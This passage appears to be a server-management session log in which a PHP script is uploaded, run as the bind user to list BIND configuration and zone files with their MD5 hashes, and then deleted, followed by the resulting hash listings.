MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 2aee35268d53a47768d9542c3137b896
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-09 15:40:10: Establishing a connection
2026-02-09 15:40:10: 

PUT: /tmp/pkp317312

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-09 15:40:10: 

runuser -l bind -s /bin/bash -c '/tmp/pkp317312; rm /tmp/pkp317312'

2026-02-09 15:40:11: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 2aee35268d53a47768d9542c3137b896
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-09 15:40:40: Establishing a connection
2026-02-09 15:40:40: Establishing a connection
2026-02-09 15:40:40: 

PUT: /tmp/pkp336035

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-09 15:40:40: 

runuser -l bind -s /bin/bash -c '/tmp/pkp336035; rm /tmp/pkp336035'

2026-02-09 15:40:40: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
